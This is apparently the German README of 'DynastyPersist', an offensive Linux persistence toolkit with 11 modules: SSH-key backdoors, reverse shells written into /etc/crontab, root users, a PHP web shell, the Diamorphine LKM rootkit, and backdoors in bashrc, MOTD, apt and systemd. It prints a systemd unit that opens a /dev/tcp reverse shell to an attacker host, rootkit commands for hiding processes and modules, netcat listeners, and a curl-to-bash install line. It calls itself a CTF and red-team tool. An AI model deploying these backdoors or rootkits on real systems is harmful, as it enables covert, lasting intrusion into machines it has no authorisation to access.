
Linux-Persistenz-Toolkit mit 11 Modulen für SSH-Key-Backdoors, Cronjobs, systemd-Dienste, LKM-Rootkits und LD_PRELOAD-Privilegieneskalation. Entwickelt für CTF-Wettbewerbe und Red-Team-Operationen.

| Funktionen | Beschreibung |
|---|---|
| SSH-Schlüsselgenerierung | Generiert automatisch SSH-Schlüssel für verdeckten Zugriff. |
| Cronjob-Persistenz | Richtet Cronjobs für geplante Persistenz ein. |
| Benutzerdefinierter Benutzer mit Root | Erstellt einen benutzerdefinierten Benutzer mit Root-Rechten. |
| RCE-Persistenz | Erreicht Persistenz durch Remote-Code-Ausführung. |
| LKM/Rootkit | Zeigt eine auf einem Linux-Kernel-Modul (LKM) basierende Rootkit-Persistenz. |
| Bashrc-Persistenz | Ändert benutzerspezifische Shell-Initialisierungsdateien für Persistenz (Aliase / Reverse Shells). |
| Systemd-Dienst für Root | Richtet einen systemd-Dienst zur Erlangung von Root-Persistenz ein. |
| LD_PRELOAD-Privilegieneskalationskonfiguration | Konfiguriert LD_PRELOAD für Privilegieneskalation. |
| Backdoor für Message of the Day / Header | Hinterlegt eine Backdoor in der Systemnachrichtenanzeige für verdeckten Zugriff. |
| Vorhandenen Systemd-Dienst ändern | Manipuliert einen vorhandenen systemd-Dienst für Persistenz. |
| APT-Befehl mit Backdoor versehen | Hinterlegt eine Backdoor im apt-Befehl, um eine Shell zu öffnen. |
Erhalten Sie Zugriff auf einen Server mittels ssh-Schlüsselgenerierung. Dieses Modul erstellt einen id_rsa-Schlüssel für jeden Benutzer. Dieser kann für umgekehrten Zugriff verwendet werden. Nach Ausführung dieses Moduls kann sich der Angreifer via ssh mit dem Server verbinden.
Dies kann manuell mit dem Befehl ssh-keygen durchgeführt werden. Das Modul erstellt jedoch in kürzester Zeit einen privaten Schlüssel für jeden Benutzer.
root@kali ~ ssh -i id_rsa [email protected]
1Cronjobs in Linux sind geplante Aufgaben, die automatisch in bestimmten Intervallen ausgeführt werden.
Eines der effizientesten Module, das Reverse Shells beinhaltet. Dieses Modul schreibt Reverse-Shell-Befehle direkt in /etc/crontab. Dadurch öffnet sich eine Shell auf dem Port, den Sie abhören.
root@kali ~ nc -nvlp 9999
2ssh bei diesem Benutzer anmelden.root@kali ~ ssh [email protected]
3Dieses Modul enthält ein php-Skript, das im Web-Root-Verzeichnis gehostet wird. Das Skript befindet sich unter /var/www/html/dynasty_rce/rce.php. Das Präfix dynasty_rce kann ausgeblendet werden, wenn das LKM-Modul zuvor ausgeführt wurde.
Durch Aufrufen von Opfer-IP:Port/dynasty_rce/rce.php erhalten Sie die Möglichkeit, Befehle in der Shell auszuführen.
Modulnummer: 4
Diamorphine. Das Modul befindet sich vorübergehend unter /var/tmp/.memory. Dieses Verzeichnis wird nach der Einrichtung des Moduls gelöscht.victim@ubuntu ~ kill -64 0 # Wechselt zum Root-Benutzer.
victim@ubuntu ~ mkdir dynasty_persist # Jedes Verzeichnis, das mit dynasty beginnt, wird ausgeblendet.
victim@ubuntu ~ kill -31 <prozess> # Blendet Prozesse aus
victim@ubuntu ~ lsmod | grep -i diamorphine # Blendet sich selbst aus
victim@ubuntu ~ kill -63 0 # Lässt es in der lsmod-Ausgabe erscheinen
5find oder cat verwendet.root@kali ~ nc -nvlp 9999
6Ein Modul, das einen benutzerdefinierten Dienst in systemd für umgekehrten Zugriff erstellt.
Ein Beispiel:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
Das obige Beispiel wird als Dienst erstellt. Diese Methode ist effizient und dauerhaft.
Modulnummer: 7
LD_PRELOAD ist eine Umgebungsvariable in Linux, die es Benutzern ermöglicht, eine gemeinsam genutzte Bibliothek vor anderen Bibliotheken zu laden. Privilegieneskalation mittels LD_PRELOAD beinhaltet das Laden einer bösartigen Bibliothek, um Systemaufrufe abzufangen und zu modifizieren, wodurch möglicherweise erhöhte Rechte erlangt werden. Das Modul hinterlegt eine Backdoor in Befehlen wie find und wget.
Modulnummer: 8
Die "Message of the Day" (MOTD) in Linux ist ein anpassbarer Text, der Benutzern beim Login angezeigt wird und Informationen oder Updates über das System bereitstellt. Sie wird normalerweise in der Datei /etc/motd gespeichert und kann von Systemadministratoren geändert werden.
Dieses Modul schreibt eine Shell in /etc/update-motd.d/00-header. Diese wird typischerweise ausgelöst, wenn sich ein Benutzer anmeldet.
Modulnummer: 9
Ähnlich wie Modul 7 ändert dieses einen vorhandenen Dienst für umgekehrten Zugriff.
Einfach gesagt, es überschreibt ExecStartPre im Dienst mit einem Reverse-Shell-Befehl.
Modulnummer: 10
"APT" steht für Advanced Package Tool und wird häufig in Debian-basierten Systemen wie Ubuntu verwendet. Die Datei befindet sich unter: /etc/apt/apt.conf.d/42backdoor
Hinterlegt eine Backdoor im apt-Befehl; immer wenn apt ausgeführt wird, öffnet sich eine Shell.
Modulnummer: 11
Derzeit sind in der neuesten Version (1.4) 2 Modi verfügbar.
Die Modi sind console und ctf, die für ein bestimmtes Verhalten entwickelt wurden.
Im Vergleich dazu bietet der console-Modus mehr Funktionen und Stabilität als der ctf-Modus.
Der console-Modus startet das Tool im üblichen Setup mit allen Funktionen. Diese Funktionen werden lokal auf dem lokalen Host ausgeführt, auf dem das Skript ausgeführt wird. Entwickelt für Persistenz in Echtzeit-Operationen.
Das Präfix use gefolgt von der Modulnummer wird verwendet, um ein ausgewähltes Modul auszuführen. Z. B. use 1
Zudem wurde die Benutzeroberfläche aktualisiert: Die Module/Payloads sind nun sichtbar, wenn Sie show payloads eingeben.
Schließlich wurde auch das Hilfe-/Optionen-Menü geändert: Geben Sie show options ein, um es anzuzeigen.
Der ctf-Modus ist eine zusätzliche Funktion, um sich via SSH mit einem kompromittierten Server zu verbinden und Persistenz zu erlangen. Dieses Addon wird in KoTH oder Battlegrounds sehr hilfreich sein. Darüber hinaus spart es viel Zeit bei der Einrichtung der Persistenz.
Führt die meisten Funktionen des console-Modus aus.
$ ./dynasty.sh <lhost> <lport> <modus>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Via Git
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Via Curl
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash